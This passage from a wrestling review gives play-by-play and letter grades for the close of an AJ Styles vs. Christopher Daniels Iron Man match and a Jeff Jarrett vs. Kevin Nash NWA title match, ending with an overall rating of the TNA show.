AJ ribs are in trouble now. Daniels tries a backdrop but AJ kicks him in the face and hits a neckbreaker. There are no falls yet. A hard belly to back gets no cover for AJ at 17 minutes to go. AJ sets for a springboard something but Daniels blocks it. Daniels is knocked down and Styles tries a 450 but it eats knees. Angel’s Wings makes it 1-0 Fallen Angel. We hit fifteen minutes to go and Daniels hits a Codebreaker with 14 to go. It only gets two.

AJ tries a hip toss and Daniels counters into an abdominal stretch. Psychology at its most basic people and that’s all it needs to be. Twelve and a half to go as AJ hiptosses out of the stretch. He dives at Daniels but gets draped across the top rope. Styles busts out a Tajiri elbow to take Daniels down but Christopher gets up first. AJ hits the Death Valley Driver that lands on his own knee move that he does, getting two.

Springboard Forearm gets two with ten minutes left. Daniels hits AJ’s moonsault into the reverse DDT for two. Blue Thunder Bomb gets two. AJ tries a suplex but has to settle for the Pele. Both guys are down with eight minutes to go. AJ fires off forearms but walks into a Samoan Drop. BME misses and AJ hits the Angel’s Wings on Daniels with seven minutes left. The Clash is broken up and Daniels tries a suplex. AJ grabs a side roll and ties it up with six minutes.

Daniels is MAD and knocks AJ to the outside. AJ gets his head rammed into the post HARD. Oh yeah he’s busted and he better be after that shot. AJ is gone with four minutes left. Daniels kicks him in the head in the corner because he’s an evil man. Two and a half to go. STO gets two. Running knee gets two and we’re under 90 seconds. AJ is dead so Daniels can’t hit the Wings again. One minute to go. AJ gets a rush from somewhere but walks into a Downward Spiral and there’s a Koji Clutch at 40 seconds to go. AJ somehow hangs on and it’s a draw.

Rating: B. Like most Iron Man matches this took awhile to get going but it was still entertaining to put it mildly. As overdone as this is, the matches are usually pretty good. I don’t need to see it again, but at this point the match was still pretty fresh so I can live with this one more than I can their modern ones.

Daniels wants sudden death and the fat man says let’s do it.

A DDT kind of move puts AJ down for two and they go to the corner. Daniels tries a super rana but AJ shoves him off. AJ dives into one of his own but Daniels rolls through. AJ rolls through that and hits the Clash for the pin to retain. Overtime didn’t add anything to this.

Jarrett says by any means necessary tonight.

We recap the world title match. Nash and Jarrett were in the Kings of Wrestling and Nash said he wanted the title. Jarrett accused Nash of screwing WCW ten years ago. So Nash screwed WCW while he was WWF Champion? Jarrett says the title is his life, Nash says it means more money.

NWA World Title: Jeff Jarrett vs. Kevin Nash

If Jeff uses the guitar, he loses the title. So a cello is ok but a guitar isn’t? The annoying chant of the match: Super Shredder. Nash controls with the power to start and throws Jeff pretty high across the ring. There are some knee lifts in the corner as well as the elbow smashes. Jeff goes for the knees but misses a charge in the corner. Nash clotheslines him out and mixes up his offense. I mean now he’s punching him on the floor.

Jeff hits some punches and back into the ring we go. Nash throws him right back over the top because he’s a better brawler than wrestler. There wasn’t any sarcasm in that statement. They go into the crowd and Jeff is in trouble. The food on the catering table is destroyed so Nash picks up the table and rams it into Jeff. Why don’t more people do that? They fins a chair and trade some shots with Nash in control.

Jarrett is busted open and they head back to ringside. Nash pulls back the mats at ringside but a Jackknife attempt is countered by a low blow. Jeff goes under the ring and pulls out a case. AND IT’S A CELLO! I WAS KIDDING!!!! I’ve never seen this match before and they actually did that. I’ve been watching too much TNA. Jeff slams the case on the knee of Nash and it’s time to go in for the kill.

After some cannonballs onto the knee here’s a not great Figure Four. Nash finally gets to the ropes but Jeff is right back onto the leg. Nash comes back up and uses his usual power arsenal. Jarrett escapes Snake Eyes and clips Nash. As he brings back in part of the cello he walks into a ball shot. Nash powerbombs him onto the cello but there’s no referee due to a bump.

Cue the man “formerly known as Billy Gunn in the WWE” to knock out Nash with a Fameasser. That only gets two. His shirt says “No introduction needed. You already know my name.” That translates to “We can’t come up with anything that won’t get us sued.” He comes back for more but the referee stops him, allowing Sean Waltman to hit a spinwheel kick, a Bronco Buster and an X Factor to Jeff for two. Billy comes back in with the belt but Road Dogg comes in to stop him. Nash takes Gunn out but walks into a belt shot…for two. Stroke gets two. A second Stroke finally gets the pin.

Rating: C-. Well other than the Cello, the three run-ins, the 6 low blows, the two ref bumps, the belt shot and the kicking out of finishers, this wasn’t too terrible! For the life of me though, Billy Gunn and X-Pac? Those are supposed to make me want to see the show again? There’s a reason they’re out of WWE you know. Anyway, this wasn’t horrible but it didn’t need to be 20 minutes, period.

Destination X ad ends the show.

Overall Rating: C. There’s some good stuff here but it’s a FAR cry from the Turning Point style stuff. This was focused on bigger names rather than the new guys. Now that’s ok on occasion, but it would become the norm for TNA over the years which isn’t a good thing. Nash would feud with Gunn for awhile while Jarrett moved onto Nash and then AJ, both in very short feuds. Not a terrible show but nothing worth watching for the most part.

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